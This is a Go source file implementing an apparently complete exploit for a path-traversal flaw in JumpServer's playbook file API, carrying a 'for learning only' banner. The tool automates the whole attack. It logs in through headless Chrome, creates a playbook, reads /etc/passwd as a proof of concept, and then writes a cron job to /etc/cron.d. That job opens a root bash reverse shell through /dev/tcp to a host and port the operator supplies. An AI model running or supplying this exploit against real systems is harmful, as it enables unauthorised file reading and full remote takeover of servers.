package main import ( "encoding/json" "flag" "fmt" "github.com/go-resty/resty/v2" log "github.com/sirupsen/logrus" "github.com/tebeka/selenium" "github.com/tebeka/selenium/chrome" "math/rand" "net/http" "net/url" "os" "strings" "time" ) const ( chromeDriverPath = "./chromedriver.exe" // 仓库根路径 port = 4443 ) var ( PROXIES string ) func banner() { fmt.Println(` ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██████╗ █████╗ ██╗ █████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ██║ ██║╚════██╗██╔══██╗███║██╔══██╗ ██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗███████║ █████╔╝╚█████╔╝╚██║╚██████║ ██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝╚════██║██╔═══╝ ██╔══██╗ ██║ ╚═══██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ██║███████╗╚█████╔╝ ██║ █████╔╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝ ╚════╝ ╚═╝ ╚════╝ @Auth: C1ph3rX13 @Blog: https://c1ph3rx13.github.io @Note: 代码仅供学习使用,请勿用于其他用途 `) } func init() { // 配置日志格式 log.SetFormatter(&log.TextFormatter{ ForceColors: true, EnvironmentOverrideColors: true, // 显示颜色 TimestampFormat: "2006-01-02 15:04:05", // 格式化时间 FullTimestamp: true, DisableLevelTruncation: true, }) // 设置日志级别为: Info log.SetLevel(log.InfoLevel) } func driverConfig() selenium.WebDriver { // 需要先启动 ChromeDriverService _, err := selenium.NewChromeDriverService(chromeDriverPath, port) if err != nil { log.Panicf("Error starting the ChromeDriver Server: %v", err) } // 设置 Chrome 的启动参数 caps := selenium.Capabilities{ "browserName": "chrome", } // 使用字符串插值来替换 --proxy-server 参数中的 PROXIES,变量的值将被动态地插入到启动参数 opts := chrome.Capabilities{ Args: []string{ "--headless", "--no-sandbox", "--disable-gpu", "--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.46", }} if PROXIES != "" { opts.Args = append(opts.Args, fmt.Sprintf("--proxy-server=%s", PROXIES)) } caps.AddChrome(opts) // 设置 Debug 模式为 false selenium.SetDebug(false) // 启动 Chrome 访问网页 driver, err := selenium.NewRemote(caps, fmt.Sprintf("http://localhost:%d/wd/hub", port)) if err != nil { log.Panicf("Error starting the ChromeDriver Remote: %v", err) } return driver } func doLogin(target string, username string, password string) { // 实例化浏览器对象 browser := driverConfig() // 拼接路径 loginUrl := target + "/core/auth/login/" log.Infof("Request Url: %s", loginUrl) // 打开登录页面 if err := browser.Get(loginUrl); err != nil { log.Panicf("Request Error: %v", err) } else { log.Info("Request Successfully") } time.Sleep(time.Second * 3) // 定位 usernameInput, _ := browser.FindElement(selenium.ByName, "username") passwordInput, _ := browser.FindElement(selenium.ByID, "password") btn, _ := browser.FindElement(selenium.ByXPATH, "//*[@id=\"login-form\"]/div[5]/button") // 清空输入框 _ = usernameInput.Clear() _ = passwordInput.Clear() // 输入用户名和密码 _ = usernameInput.SendKeys(username) _ = passwordInput.SendKeys(password) // 点击提交 _ = btn.Click() // 获取 cookies cookies, _ := browser.GetCookies() // 将 []Cookie 转换为 JSON 格式字符串 data, _ := json.MarshalIndent(cookies, "", " ") // 将 JSON 字符串写入文件 err := os.WriteFile("cookies.json", data, 0777) if err != nil { log.Panicf("Write Failed : %v", cookies) } else { log.Info("Cookies Successful Write") } defer func(browser selenium.WebDriver) { err := browser.Quit() if err != nil { log.Panicf("Close Error: %v", err) } }(browser) } func generateRandomLetters(length int) string { source := rand.NewSource(time.Now().UnixNano()) // 创建新的随机源 random := rand.New(source) // 创建新的随机数生成器 letters := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" randomLetters := make([]byte, length) for i := 0; i < length; i++ { randomLetters[i] = letters[random.Intn(len(letters))] } return string(randomLetters) } func clientConfig() *resty.Client { // 读取 cookie.json file, err := os.ReadFile("cookies.json") if err != nil { log.Warnf("Read Error: %v", err) } // 解析 JSON 格式的 cookies var cookies []*http.Cookie err = json.Unmarshal(file, &cookies) if err != nil { log.Fatal("JSON Error: ", err) } // 编码 Cookie 值 for _, cookie := range cookies { cookie.Value = url.QueryEscape(cookie.Value) } headers := map[string]string{ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", } // 遍历 cookies 切片,将每个 cookie 添加到 headers 中 for _, cookie := range cookies { if cookie.Name == "jms_csrftoken" { headers["X-CSRFToken"] = cookie.Value log.Warnf("X-CSRFToken Found: %v", cookie.Value) break } } // 编码 headers 值 for key, value := range headers { headers[key] = url.QueryEscape(value) } // 配置 client client := resty.New(). SetCookies(cookies). SetHeaders(headers) // 配置代理 if PROXIES != "" { client.SetProxy(PROXIES) } return client } func uidVerify(target string, client *resty.Client) string { // 拼接路径 uidUrl := target + "/api/v1/ops/playbooks/" log.Infof("Request Url: %s", uidUrl) // 发起请求 resp, err := client.R(). Get(uidUrl) if err != nil { log.Fatalf("uidVerify Request Error: %v", err) } defer resp.RawResponse.Body.Close() if !resp.IsError() && strings.Contains(resp.String(), "id") { log.Warnf("Playbook API Info: %v", resp.String()) // 将响应文本解析为 JSON var jsonData []map[string]interface{} err = json.Unmarshal(resp.Body(), &jsonData) if err != nil { log.Fatalf("JSON parsing failed: %v", err) } // 遍历 ID var ids []string for _, entry := range jsonData { if id, ok := entry["id"].(string); ok { ids = append(ids, id) } } // 判断 ID 的长度 if len(ids) > 0 { log.Warnf("Playbook UID: %v", ids[0]) return ids[0] } } log.Warn("Playbook UID is not exists") return "" } func addPlaybook(target string, client *resty.Client) { playbookUrl := target + "/api/v1/ops/playbooks/" log.Infof("Add Playbook Url: %v", playbookUrl) // 随机命名 playbookName := generateRandomLetters(4) // POST JSON addJson := map[string]interface{}{ "name": playbookName, } // 发起请求 resp, err := client.R(). SetBody(addJson). Post(playbookUrl) if err != nil { log.Fatalf("addPlaybook Request Error: %v", err) } // 判断请求是否成功 if !resp.IsError() && strings.Contains(resp.String(), "id") { log.Warnf("Successfully Added: %v", resp.String()) } else { log.Warnf("Error: %v", resp.String()) } defer resp.RawResponse.Body.Close() } func poc(target string, uid string, client *resty.Client) bool { pocUrl := target + "/api/v1/ops/playbook/" + uid + "/file/?key=/etc/passwd" log.Infof("POC Url: %v", pocUrl) // 发起请求 resp, err := client.R(). Get(pocUrl) if err != nil { log.Fatalf("Poc Request Error: %v", err) } // 判断请求是否成功 if !resp.IsError() && strings.Contains(resp.String(), "root") { log.Warnf("Vulnerable: %v", resp.Request.URL) log.Warnf("Output: %v", resp.String()) return true } else { log.Warnf("Not Vulnerable: %v", resp.String()) return false } } func exp(target string, uid string, client *resty.Client, ip string, port string) { expUrl := target + "/api/v1/ops/playbook/" + uid + "/file/" log.Infof("EXP Url: %v", expUrl) // Directory JSON dirData := map[string]interface{}{ "key": "/etc/cron.d", // 创建路径 "is_directory": true, // 创建文件夹 "name": "/etc/cron.d", // 指定创建文件夹的名称 } // 随机计划任务文件名 shellName := generateRandomLetters(4) // Reverse Shell JSON shellData := map[string]interface{}{ "key": "/etc/cron.d", // 创建文件的路径 "is_directory": false, // 不创建文件夹 "name": shellName, // 创建文件的名称 "content": fmt.Sprintf("* * * * * root bash -c \"bash -i >& /dev/tcp/%s/%s 0>&1\"\n", ip, port), // 创建文件的内容 } // 发起请求: 创建计划任务目录 dirResp, err := client.R(). SetBody(dirData). Post(expUrl) if err != nil { log.Fatalf("EXP[DIR] Request Error: %v", err) } // 判断 创建计划任务文件夹 是否成功 if dirResp.IsSuccess() { log.Warnf("Directory is Successfully Created: %v", dirResp.String()) // 发起请求: 创建计划任务文件 shellResp, err := client.R(). SetBody(shellData). Post(expUrl) if err != nil { log.Fatalf("EXP[SHELL] Request Error: %v", err) } // 判断 创建计划任务文件 是否成功 if shellResp.IsSuccess() { log.Warnf("Reverse Shell is Successfully Set: %v", shellResp.String()) } else { log.Warnf("Reverse Shell Failed: %v", shellResp.String()) log.Warnf("Reverse Shell Failed: %v", shellResp.Header()) } } else { log.Warnf("Not Vulnerable: %v", dirResp.String()) } } func exploit(target string, uid string, client *resty.Client, shellIP string, shellPort string) { if poc(target, uid, client) { exp(target, uid, client, shellIP, shellPort) } } func run(target string, username string, password string, shellIP string, shellPort string) { // 检查是否存在 cookies.json 文件 if _, err := os.Stat("cookies.json"); os.IsNotExist(err) { // 登录并获取 cookies 和 headers log.Println("Cookie does not exist, DO LOGIN") doLogin(target, username, password) } // 获取请求客户端配置 client := clientConfig() // 验证 uid uid := uidVerify(target, client) if uid == "" { // 添加动作 addPlaybook(target, client) uid = uidVerify(target, client) } // 执行 exploit if uid != "" { exploit(target, uid, client, shellIP, shellPort) } else { log.Println("Failed to verify uid") } } func main() { banner() target := flag.String("t", "", "Target Url") username := flag.String("u", "", "Account Username") password := flag.String("p", "", "Account Password") ip := flag.String("ip", "", "Shell IP") port := flag.String("port", "", "Shell Port") proxy := flag.String("proxy", "", "Proxy Url") flag.Parse() if *target == "" || *username == "" || *password == "" || *ip == "" || *port == "" { fmt.Println("Missing required arguments.") flag.Usage() return } if *proxy != "" { PROXIES = *proxy } run(*target, *username, *password, *ip, *port) }